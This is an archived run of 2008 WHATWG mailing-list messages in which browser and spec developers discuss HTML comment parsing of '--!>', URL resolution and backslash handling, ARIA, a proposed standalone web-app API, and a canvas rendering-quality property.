Date: Fri, 27 Jun 2008 13:52:50 -0700
Subject: [whatwg] Ending comments with --!>
In-Reply-To: <7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>
References: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
	<7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>
Message-ID: <E3B5E1A6-C2FE-49F3-B289-FAD7E1602063@apple.com>


On Jun 27, 2008, at 12:13 AM, Adam Barth wrote:

> Ian explained to me on IRC that IE and Opera are consuming the entire
> document as a comment and reparsing for > (i.e., --!> is not treated
> specially).  That is supported by the following test case:
>
> http://crypto.stanford.edu/~abarth/research/html5/comments/bang- 
> gt.html
>
> Safari and Firefox contain explicit code for detecting --!> (as
> demonstrated by the above test case).  In Safari, the code was
> introduced in
>
> http://trac.webkit.org/changeset/4103
>
> In Firefox, the code was introduced in
>
> https://bugzilla.mozilla.org/show_bug.cgi?id=110544
>
> As far as I can tell, neither checkin explains why this behavior was  
> added.

Hyatt's comment on the WebKit checkin says it was to match other  
browsers (presumably Mozilla).

Regards,
Maciej

>
>
> Adam
>
>
> On Thu, Jun 26, 2008 at 10:30 PM, Adam Barth <whatwg at adambarth.com>  
> wrote:
>> Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
>> as an alternate comment terminator to the usual -->
>>
>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html
>>
>> In Internet Explorer 7 and Opera 9.5, if the document later contains
>> the usual comment terminator, then that character sequence terminates
>> the comment instead:
>>
>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html
>>
>> Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.
>>
>> (Interestingly, the syntax highlighter in vim suggests the document
>> will be parsed as in Firefox and Safari, no doubt contributing to
>> author confusion.)
>>
>> Adam
>>



From whatwg at adambarth.com  Fri Jun 27 13:57:59 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 27 Jun 2008 13:57:59 -0700
Subject: [whatwg] Ending comments with --!>
In-Reply-To: <E3B5E1A6-C2FE-49F3-B289-FAD7E1602063@apple.com>
References: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
	<7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>
	<E3B5E1A6-C2FE-49F3-B289-FAD7E1602063@apple.com>
Message-ID: <7789133a0806271357v7437b3f1o69ee086b6fbee437@mail.gmail.com>

It looks like Mozilla is planning to change their behavior to match
the HTML5 spec in this regard.  See the patch in
<https://bugzilla.mozilla.org/show_bug.cgi?id=214476>.

Adam


On Fri, Jun 27, 2008 at 1:52 PM, Maciej Stachowiak <mjs at apple.com> wrote:
>
> On Jun 27, 2008, at 12:13 AM, Adam Barth wrote:
>
>> Ian explained to me on IRC that IE and Opera are consuming the entire
>> document as a comment and reparsing for > (i.e., --!> is not treated
>> specially).  That is supported by the following test case:
>>
>> http://crypto.stanford.edu/~abarth/research/html5/comments/bang-gt.html
>>
>> Safari and Firefox contain explicit code for detecting --!> (as
>> demonstrated by the above test case).  In Safari, the code was
>> introduced in
>>
>> http://trac.webkit.org/changeset/4103
>>
>> In Firefox, the code was introduced in
>>
>> https://bugzilla.mozilla.org/show_bug.cgi?id=110544
>>
>> As far as I can tell, neither checkin explains why this behavior was
>> added.
>
> Hyatt's comment on the WebKit checkin says it was to match other browsers
> (presumably Mozilla).
>
> Regards,
> Maciej
>
>>
>>
>> Adam
>>
>>
>> On Thu, Jun 26, 2008 at 10:30 PM, Adam Barth <whatwg at adambarth.com> wrote:
>>>
>>> Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
>>> as an alternate comment terminator to the usual -->
>>>
>>>
>>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html
>>>
>>> In Internet Explorer 7 and Opera 9.5, if the document later contains
>>> the usual comment terminator, then that character sequence terminates
>>> the comment instead:
>>>
>>>
>>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
>>>
>>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html
>>>
>>> Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.
>>>
>>> (Interestingly, the syntax highlighter in vim suggests the document
>>> will be parsed as in Firefox and Safari, no doubt contributing to
>>> author confusion.)
>>>
>>> Adam
>>>
>
>


From beidson at apple.com  Fri Jun 27 14:04:45 2008
From: beidson at apple.com (Brady Eidson)
Date: Fri, 27 Jun 2008 14:04:45 -0700
Subject: [whatwg] Proposed additions to ClientInformation interface
Message-ID: <8DF933CB-F8F9-42C3-94EF-511FFB9986F3@apple.com>

One focus area for HTML5 has been to solidify the concept of "Web  
pages as Web Applications" and to introduce concepts to flesh out this  
new Web Application concept such as the application name, more  
flexible icons, offline data storage, and online/offline discovery.

There is one aspect to this notion of "Web Applications" that is being  
explored by multiple vendors but hasn't been explicitly addressed in  
HTML5 quite yet:  the "stand alone web application."
For the few among you unfamiliar with this idea, the concept is  
running a web application in a dedicated user agent that doesn't have  
the typical chrome, behavior, features, or footprint of a traditional  
browser.

In support of this new area of interest, I propose two new additions  
to the ClientInformation interface as follows:

First:  "readonly attribute boolean standalone;"

This is in the same vein as the window.navigator.onLine property which  
gives authors a great hint on how to change the behavior of their web  
application based on the existence of a network connection.  The  
standalone property would give web application developers a powerful  
hint as to whether or not they are running in a full browser or in a  
more minimalistic, dedicated user agent.  There's a number of things  
they might customize based on this situation such as look, feel, and  
available feature set.

I'd like us to try and avoid the user agent sniffing nightmare that is  
common on the web.  Currently a web application developer has to  
inspect the user agent and other nonstandard window.navigator  
properties to try to guess whether they're running in a full browser  
or a minimalistic interface.  Since this set of properties and user  
agents will keep changing over time, I think it's a prudent move to  
give scripts this simple flag as a future-proof way to make these  
powerful decisions.

Second:  "void makeStandalone();"

Web applications that have been fully designed to behave as stand  
alone applications should be able to announce this fact.   Currently  
web applications would have to state in their page that they are  
"standalone aware" and to instruct users on how they might go about  
creating a standalone version of the page.  I've seen and heard buzz  
that web authors would like a better way.

This is what the makeStandalone() call is about.  The intention behind  
the call is that the user agent would prompt the user about creating a  
standalone application from the current page.  Of course user agents  
would have full flexibility in how they respond to the call such as  
choosing to do nothing, prompting only once for a given domain or URL,  
or prompting only when the user prefers to be prompted.   I imagine  
most user agents would tie the workings of this method to a user  
action, much like popup blocking works currently, so the page could  
only enact the prompt when the user clicks on some control.  I just  
think it's quite valuable to get the tool out there for web  
applications to use.

The exact naming of this method call is up for debate, but I think my  
point is clear.

With my proposals, the ClientInformation interface would look as  
follows:

interface ClientInformation {
   readonly attribute boolean onLine;
   readonly attribute boolean standalone;
   void makeStandalone();
   void registerProtocolHandler(in DOMString protocol, in DOMString  
url, in DOMString title);
   void registerContentHandler(in DOMString mimeType, in DOMString  
url, in DOMString title);
};

Your thoughts?

~Brady Eidson


From ian at hixie.ch  Fri Jun 27 14:53:27 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 21:53:27 +0000 (UTC)
Subject: [whatwg] Conformance requirements for IRIs
In-Reply-To: <FF8864C2-5542-460A-90C7-91BB02A2D152@iki.fi>
References: <FF8864C2-5542-460A-90C7-91BB02A2D152@iki.fi>
Message-ID: <Pine.LNX.4.62.0806272152360.17498@hixie.dreamhostps.com>

On Mon, 17 Apr 2006, Henri Sivonen wrote:
>
> In WA 1.0 and WF 2.0 some values are required to be IRIs and some values 
> are required to be IRI references. I'm confused about what exactly this 
> means in terms of conformance checking. (WF 2.0 does say something about 
> processing in a browser, though.) [...]
> 
> I'd appreciate some guidance on which enforcement options to use. (E.g. 
> should knowledge of the http scheme used? Should security issues be 
> flagged as non-conforming? Should "SHOULD" violations be flagged as 
> non-conforming? Etc.)

I've tried to make this clear in the spec, but to some extent what's valid 
or not is out of scope of HTML5 itself. What can I do to help more?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 27 15:02:29 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 22:02:29 +0000 (UTC)
Subject: [whatwg] Unresolvable hyperlinks
In-Reply-To: <op.toiigc2n64w2qv@id-c0020.driveway.uu.nl>
References: <op.toiigc2n64w2qv@id-c0020.driveway.uu.nl>
Message-ID: <Pine.LNX.4.62.0806272157390.17498@hixie.dreamhostps.com>

On Thu, 1 Mar 2007, Anne van Kesteren wrote:
>
> Should the specification say what happens when a user agent can't 
> resolve a hyperlink.

This is now defined (though let me know if you can work out exactly how, 
because it's rather convoluted and I may have made a mistake).


> For example, take the following resource:
> 
>   data:text/html,<a href="foo">bar</a>
>
> It also seems user agents treat the following resource differently:
> 
>   data:text/html,<a href="%23x">foo</a><p style=margin-top:120%><b
>   id=x>bar</b></p>
>
> (I would expect this one to work as it does in Opera 9...)
> 
> I should fine some time to do some more testing with same-document 
> references I guess...

These examples seem like RFC3986 issues to me, I'm not sure there's 
anything missing in HTML5 at this point that would prevent these from 
"working" assuming that 3986 is clear about how to resolve those URLs 
(which I'm not sure it is).

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 27 15:06:59 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 22:06:59 +0000 (UTC)
Subject: [whatwg] several messages about URLs
In-Reply-To: <0ggiv2509hsrdms0mnlmoblnea4og83js3@hive.bjoern.hoehrmann.de>
References: <20070313232952.GA28312@ridley.dbaron.org>
	<Pine.LNX.4.64.0703141514430.25315@peter.oslo.opera.com>
	<20070314185747.GA6233@ridley.dbaron.org>
	<ashgv2pou177aqga8h0nhhku6329kba6d5@hive.bjoern.hoehrmann.de>
	<20070314200432.GA7168@ridley.dbaron.org>
	<Pine.LNX.4.64.0703150907400.21397@peter.oslo.opera.com>
	<0ggiv2509hsrdms0mnlmoblnea4og83js3@hive.bjoern.hoehrmann.de>
Message-ID: <Pine.LNX.4.62.0806272202470.17498@hixie.dreamhostps.com>

On Tue, 13 Mar 2007, L. David Baron wrote:
>
> The wording of the value of href for base elements [1] is not quite the 
> same as the wording for anchor elements [2], and technically [3] that 
> wording allows only absolute URIs.  They should probably both say they 
> allow URI references (or IRI references), and the former should probably 
> say "be" or "equal" rather than the rather vague "contain".  (I suspect 
> there are similar problems elsewhere.)
> 
> Or, if you don't like using the term "URI reference" everywhere (which 
> may be worth avoiding), you should at least explain your usage in the 
> Terminology section with reference to terms defined in the URI/IRI RFCs.

I've done a huge rewrite of everything URL-related now which should 
resolve all these issues and make everything consistent and (hopefully) 
realistic.


On Tue, 13 Mar 2007, L. David Baron wrote:
>
> http://www.whatwg.org/specs/web-apps/current-work/#terminology says:
>   # For readability, the term URI is used to refer to both ASCII 
>   # URIs and Unicode IRIs, as those terms are defined by [RFC3986]
>   # and [RFC3987]  respectively. On the rare occasions where IRIs 
>   # are not allowed but ASCII URIs are, this is called out
>   # explicitly.
> This is rather misleading, since backwards compatible use of URIs is
> not ASCII-only.  While IRIs are a superset of conformant URIs, IRIs
> are a subset of real-world-URIs, since they have the encoding fixed
> to UTF-8.  Backwards-compatible URI handling tries to send the same
> sequence of bytes that was in the document back to the server,
> percent-encoded byte-by-byte, by encoding the URI based on the
> encoding of the document.

It's mildly more complicated than that, it seems, since path components 
always seem to use UTF-8 and query components use the doc encoding, but in 
any case, the spec now specified this.


On Wed, 14 Mar 2007, Peter Karlsson wrote:
> 
> Indeed. Considering the number of partly contradicting bug reports we 
> have here at Opera on the issue, it would be nice to have it clearly 
> spelled out, so that everyone is doing the same thing, and that we are 
> doing what the user expects.

Please let me know if the spec, as it stands, is acceptable.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 27 16:25:18 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 27 Jun 2008 23:25:18 +0000 (UTC)
Subject: [whatwg] IE/Win treats backslashes in path as forward slashes
In-Reply-To: <6b9c91b20704111607k73672aabu249c599abe8142a8@mail.gmail.com>
References: <2AC266DE-7EB9-4DF9-A69F-C02A630D9DC8@googlemail.com>
	<op.tqm1wmb44suneb@g5.local>
	<6b9c91b20704111607k73672aabu249c599abe8142a8@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806272303480.17498@hixie.dreamhostps.com>

On Wed, 11 Apr 2007, Geoffrey Sneddon wrote:
>
> Looking through the spec again, there is nothing about backslashes in 
> URI's path being treated as a forward slash, behaviour needed for 
> compatibility for quite a few websites.

On Wed, 11 Apr 2007, Gervase Markham wrote:
> 
> I would be rather surprised if that were true, given that Firefox 
> doesn't do it and I've never come across a website which broke for that 
> reason. But maybe I live a sheltered life.

On Wed, 11 Apr 2007, Bill Mason wrote:
> 
> It's not that unheard of, though I wouldn't say it's rampant.  Just a 
> quick search on bugzilla.mozilla.org [1] produces some samples.
> 
> Admittedly most of these bugs are old. However the newest one is from 
> January 2007, so the problem still crops up.
> 
> [1] http://tinyurl.com/2evdox

There are quite a few of these, even more if you start looking further in. 
In fact this bug:

   https://bugzilla.mozilla.org/show_bug.cgi?id=64488

...has 49 duplicates just to itself.


I've added a postprocessing step to the URL resolving algorithm that 
concerts all \ characters into / characters.


On Wed, 11 Apr 2007, Maciej Stachowiak wrote:
> 
> Besides the backslash thing, there are a number of URI processing rules 
> that browsers must follow for web compatibility which are either not 
> required by or directly contradictory to the URI RFCs. Documenting these 
> and fixing the relevant RFCs would be a valuable goal, but possibly 
> beyond the scope of WHATWG.

Could you elaborate on this?


On Thu, 12 Apr 2007, Julian Reschke wrote:
> 
> It seems to me that at least this thread does not point out bugs in 
> RFC3986 or RFC3987, but problems in user agents that do not follow these 
> specs. Or stated otherwise: in reality, URIs in HTML documents are not 
> RFC-compliant URIs or IRIs, but something else. It's up to the working 
> group to either deprecate these kinds of references, or to specify how 
> they should be handled.

Done.


On Wed, 11 Apr 2007, Michael A. Puls II wrote:
> 
> However, we can't specify this for all URIs (just saying). Flipping raw 
> backslashes (even though they should really be encoded) in <a 
> href="mailto:uridata"> for example, should not be done.
> 
> If we do specify this, we have to be more specific than "path" because 
> 'path' does not necessarily mean URI.

Ok, done.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From shadow2531 at gmail.com  Fri Jun 27 17:37:00 2008
From: shadow2531 at gmail.com (Michael A. Puls II)
Date: Fri, 27 Jun 2008 20:37:00 -0400
Subject: [whatwg] IE/Win treats backslashes in path as forward slashes
In-Reply-To: <Pine.LNX.4.62.0806272303480.17498@hixie.dreamhostps.com>
References: <2AC266DE-7EB9-4DF9-A69F-C02A630D9DC8@googlemail.com>
	<op.tqm1wmb44suneb@g5.local>
	<6b9c91b20704111607k73672aabu249c599abe8142a8@mail.gmail.com>
	<Pine.LNX.4.62.0806272303480.17498@hixie.dreamhostps.com>
Message-ID: <6b9c91b20806271736i7bda9a99i806cb44344a104a2@mail.gmail.com>

On 6/27/08, Ian Hickson <ian at hixie.ch> wrote:
>  On Wed, 11 Apr 2007, Michael A. Puls II wrote:
>  >
>  > However, we can't specify this for all URIs (just saying). Flipping raw
>  > backslashes (even though they should really be encoded) in <a
>  > href="mailto:uridata"> for example, should not be done.
>  >
>  > If we do specify this, we have to be more specific than "path" because
>  > 'path' does not necessarily mean URI.
>
>  Ok, done.

Awesome! Thanks

-- 
Michael


From aaronlev at moonset.net  Mon Jun 30 01:26:39 2008
From: aaronlev at moonset.net (Aaron Leventhal)
Date: Mon, 30 Jun 2008 10:26:39 +0200
Subject: [whatwg] ARIA
In-Reply-To: <47C73BD9.10705@dmh.org.uk>
References: <30275652.1042981204234320774.JavaMail.servlet@perfora>
	<47C73BD9.10705@dmh.org.uk>
Message-ID: <486898BF.2050909@moonset.net>


> I don't know if you've seen the recent Accessible Rich Internet 
> Applications <http://www.w3.org/TR/wai-aria/> draft?  (There's also a 
> primer at <http://www.w3.org/TR/wai-aria-primer/>.)  It describes a 
> number of standard states that can be added to custom controls.  
> Rather than potentially fitting multiple values into a reldata 
> attribute, it defines a host of attributes beginning with "aria-".  
> Example:
>
> <span role="checkbox" aria-checked="true">Foo</span>
>
> I believe a number of script libraries (Dojo for example) plan on 
> supporting ARIA.  Firefox has some ARIA support already.
Thanks for pointing to WAI-ARIA. Just to clarify the status, both Dojo's 
Dijit library and Firefox 3 fully supports the current draft on both 
Windows and Linux. There are still being tweaks made in screen readers 
to support the outer edges of the ARIA widget semantics as well as ARIA 
live regions (for areas of the page that change but are not really 
widgets, such as an updating scoreboard).
More info on who is working on ARIA support in the FAQ here:
http://developer.mozilla.org/en/docs/ARIA:_Accessible_Rich_Internet_Applications/Relationship_to_HTML_FAQ#Who_supports_ARIA.3F

- Aaron

>
> The current HTML 5 draft doesn't mention ARIA anywhere.  Perhaps it 
> should clarify the relationship (or non-relationship as it is at 
> present), even if it's only a brief mention in section 1.1.
>
> Regards,
>
> Dave
>
>




From vladimir at pobox.com  Mon Jun 30 16:14:52 2008
From: vladimir at pobox.com (Vladimir Vukicevic)
Date: Mon, 30 Jun 2008 16:14:52 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
Message-ID: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>


On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:

> On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
>>
>> I'd like to propose adding an imageRenderingQuality property on the
>> canvas 2D context to allow authors to choose speed vs. quality when
>> rendering images (especially transformed ones).
>
> How can an author know which is appropriate?

Erm, presumably because they're the author -- it seems quite valid to  
for an author to be able to say "Just make this happen quickly, I  
don't care about the quality" or "Take extra time to make this the  
highest quality you can".

    - Vlad



From ian at hixie.ch  Mon Jun 30 16:30:41 2008
From: ian at hixie.ch (Ian Hickson)
Date: Mon, 30 Jun 2008 23:30:41 +0000 (UTC)
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
Message-ID: <Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>

On Mon, 30 Jun 2008, Vladimir Vukicevic wrote:
> On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:
> > On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> > > 
> > > I'd like to propose adding an imageRenderingQuality property on the 
> > > canvas 2D context to allow authors to choose speed vs. quality when 
> > > rendering images (especially transformed ones).
> > 
> > How can an author know which is appropriate?
> 
> Erm, presumably because they're the author -- it seems quite valid to 
> for an author to be able to say "Just make this happen quickly, I don't 
> care about the quality" or "Take extra time to make this the highest 
> quality you can".

But which of those to pick depends on the hardware at least as much as the 
complexity of the drawing code, as has been noted before.

This table shows what the author would want to pick for a given page:

   2008:                   2008 desktop    2008 mobile
      Complex Graphics     high-quality    high-speed
      Simple Graphics      high-quality    high-quality

   2012:                   2012 desktop    2012 mobile    2008 desktop
      2018-era Graphics    high-quality    high-speed     high-speed
      Complex Graphics     high-quality    high-quality   high-quality
      Simple Graphics      high-quality    high-quality   high-quality

This table shows the same thing again, but this time the desktop machine 
is also doing a massive high-CPU job in the background:

   2008:                   2008 desktop    2008 mobile
      Complex Graphics     high-speed      high-speed
      Simple Graphics      high-speed      high-quality

   2012:                   2012 desktop    2012 mobile    2008 desktop
      2018-era Graphics    high-speed      high-speed     high-speed
      Complex Graphics     high-speed      high-quality   high-speed
      Simple Graphics      high-quality    high-quality   high-speed

How can the author possibly know what the right answer is?

It seems better for the browser to simply detect when the graphics burden 
being placed on the hardware by the page is too much to be done at high 
quality given the current load on the CPU, and for the browser to 
automatically drop down to a lower fidelity, higher speed rendering on the 
fly when appropriate.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From lists07 at wiltgen.net  Mon Jun 30 16:52:02 2008
From: lists07 at wiltgen.net (Charles)
Date: Mon, 30 Jun 2008 16:52:02 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
Message-ID: <187e01c8db0c$4c1e16f0$e45a44d0$@net>

>> How can an author know which is appropriate?
>
> Erm, presumably because they're the author -- it seems quite valid
> to for an author to be able to say "Just make this happen quickly, I  
> don't care about the quality" or "Take extra time to make this the  
> highest quality you can".

No problem, all you have to do is define:

- "this"
- "happen"
- "quickly"
- "quality"
- "extra time"
- "highest"

Of course the hard bit is that these change for every content developer,
often per-platform.

-- Charles




From mark.finkle at gmail.com  Mon Jun 30 16:55:33 2008
From: mark.finkle at gmail.com (Mark Finkle)
Date: Mon, 30 Jun 2008 19:55:33 -0400
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
	<Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
Message-ID: <8e61feeb0806301655o51f68d62s6aa28fbd04ca946b@mail.gmail.com>

On Mon, Jun 30, 2008 at 7:30 PM, Ian Hickson <ian at hixie.ch> wrote:

> On Mon, 30 Jun 2008, Vladimir Vukicevic wrote:
> > On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:
> > > On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> > > >
> > > > I'd like to propose adding an imageRenderingQuality property on the
> > > > canvas 2D context to allow authors to choose speed vs. quality when
> > > > rendering images (especially transformed ones).
> > >
> > > How can an author know which is appropriate?
> >
> > Erm, presumably because they're the author -- it seems quite valid to
> > for an author to be able to say "Just make this happen quickly, I don't
> > care about the quality" or "Take extra time to make this the highest
> > quality you can".
>
> It seems better for the browser to simply detect when the graphics burden
> being placed on the hardware by the page is too much to be done at high
> quality given the current load on the CPU, and for the browser to
> automatically drop down to a lower fidelity, higher speed rendering on the
> fly when appropriate.
>

So now we need to define levels of graphic burden? and at what level of
burden does the quality suffer? Seems just as hard to define. Having the
author explicit say "this has to be as high quality as possible" or "less
can be low quality" seems better and we have examples of other specs
offering the same kind of control.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080630/3619f0b3/attachment-0001.htm>

From oliver at apple.com  Mon Jun 30 16:56:04 2008
From: oliver at apple.com (Oliver Hunt)
Date: Mon, 30 Jun 2008 16:56:04 -0700
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<574B0E6E-514B-42A3-97C8-B00FC3BC7C41@pobox.com>
Message-ID: <670AAA6D-DD2F-448C-A76D-C7ED5C89D227@apple.com>


On Jun 30, 2008, at 4:14 PM, Vladimir Vukicevic wrote:

>
> On Jun 11, 2008, at 3:34 AM, Ian Hickson wrote:
>
>> On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
>>>
>>> I'd like to propose adding an imageRenderingQuality property on the
>>> canvas 2D context to allow authors to choose speed vs. quality when
>>> rendering images (especially transformed ones).
>>
>> How can an author know which is appropriate?
>
> Erm, presumably because they're the author -- it seems quite valid  
> to for an author to be able to say "Just make this happen quickly, I  
> don't care about the quality" or "Take extra time to make this the  
> highest quality you can".

Yes they are the author, but the user is the person actually using the  
content and history shows that the author will make such decisions  
based on how *their* machine works.  Even if they try to test on other  
platforms/UAs, you cannot expect them to test the entire gamut from  
handheld device through to multicore workstations, and then expect  
them to update their site every 18 months to allow for the increased  
processing power.  The alternative option, is to have the UA detect  
when a site is attempting to do the kinds of updates that would result  
in performance problems and make appropriate decisions to improve the  
performance (eg. reducing image scaling quality).

The adjusting UA option has numerous advantages -- it does not require  
the developer to tests 1000s of different devices; it doesn't require  
the developer to update their content every few months; it allows the  
UA to make performance decisions based on the actual hardware and  
resources available to it at runtime (eg. allowing it to reduce  
quality on low powered devices); Improvements in UA performance can  
immediately result in improved quality, without the developer updating  
the site; Quality is not unnecessarily lowered in newer/faster UAs  
just because the developer made decisions based on an older/slower UA.

Their are disadvantages -- the UA implementation complexity may be  
increased, quality may be reduced even when not desired by the  
developer.  The first of these issues is to me a non-issue, in a  
choice between making the UA implementation more complex (which  
happens once per UA) vs. increasing the workload on the developer for  
each site in which they use canvas (which may happen 100s or 1000s of  
times per developer), increasing UA complexity seems the obvious choice.
The second issue is more difficult, and i don't have any immediate  
solution -- you *could* have a flag which forced the UA to always use  
its highest quality level (which is a noop on current UAs as far as i  
am aware), but to me it seems that that would merely result in the  
poor behaviour on low powered devices that the developer did not  
consider.

Finally, in general my experience suggests that if you have such a  
flag the developers will end up being split into three groups, those  
who *always* specify "fastest", those who always specify "highest  
quality", and those who never use the flag at all.  I would also not  
expect this flag to be used on the basis of any kind of performance or  
quality testing, based on what they perceive to be most important,  
regardless as to whether their code actually had any performance  
issues. (Yes, there will be a few developers who do perf test, etc,  
and try to make good decisions, but i would expect them to represent a  
very small minority of developers)

--Oliver

>
>   - Vlad
>



From excors+whatwg at gmail.com  Mon Jun 30 17:04:49 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Tue, 1 Jul 2008 01:04:49 +0100
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <Pine.LNX.4.62.0806302319180.13974@hixie.dreamhostps.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
